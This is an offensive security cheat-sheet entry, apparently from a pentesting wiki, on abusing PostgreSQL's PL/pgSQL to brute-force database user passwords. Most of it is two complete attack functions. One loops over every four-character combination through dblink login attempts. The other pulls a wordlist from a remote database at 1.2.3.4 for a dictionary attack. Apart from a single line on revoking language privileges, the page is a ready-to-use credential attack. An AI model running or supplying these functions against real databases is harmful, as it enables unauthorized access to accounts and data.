PL/pgSQL Password Bruteforce

PL/pgSQL, as a fully featured programming language, allows much more procedural control than SQL, including the ability to use loops and other control structures. SQL statements and triggers can call functions created in the PL/pgSQL language.

You can abuse this language in order to ask PostgreSQL to brute-force the users credentials, but it must exist on the database. You can verify it's existence using:

SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';     lanname | lanacl     plpgsql |

By default, creating functions is a privilege granted to PUBLIC, where PUBLIC refers to every user on that database system. To prevent this, the administrator could have had to revoke the USAGE privilege from the PUBLIC domain:

REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;

In that case, our previous query would output different results:

SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';     lanname | lanacl     plpgsql | {admin=U/admin}

Here how you could perform a 4 chars password bruteforce:

CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,                                username TEXT, dbname TEXT) RETURNS TEXT AS$$DECLARE    word TEXT;BEGIN    FOR a IN 65..122 LOOP        FOR b IN 65..122 LOOP            FOR c IN 65..122 LOOP                FOR d IN 65..122 LOOP                    BEGIN                        word := chr(a) || chr(b) || chr(c) || chr(d);                        PERFORM(SELECT * FROM dblink(' host=' || host ||                                                    ' port=' || port ||                                                    ' dbname=' || dbname ||                                                    ' user=' || username ||                                                    ' password=' || word,                                                    'SELECT 1')                                                     RETURNS (i INT));                                                    RETURN word;                        EXCEPTION                            WHEN sqlclient_unable_to_establish_sqlconnection                                 THEN                    END;                END LOOP;            END LOOP;        END LOOP;    END LOOP;    RETURN NULL;END;$$ LANGUAGE 'plpgsql';​select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');

Note that even brute-forcing 4 characters may take several minutes.

You could also download a wordlist and try only those passwords (dictionary attack):

CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,                                username TEXT, dbname TEXT) RETURNS TEXT AS$$BEGIN    FOR word IN (SELECT word FROM dblink('host=1.2.3.4                                            user=name                                            password=qwerty                                            dbname=wordlists',                                            'SELECT word FROM wordlist')                                        RETURNS (word TEXT)) LOOP        BEGIN            PERFORM(SELECT * FROM dblink(' host=' || host ||                                            ' port=' || port ||                                            ' dbname=' || dbname ||                                            ' user=' || username ||                                            ' password=' || word,                                            'SELECT 1')                                        RETURNS (i INT));            RETURN word;​            EXCEPTION                WHEN sqlclient_unable_to_establish_sqlconnection THEN        END;    END LOOP;    RETURN NULL;END;$$ LANGUAGE 'plpgsql'​select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');

Find more information about this attack in this paper.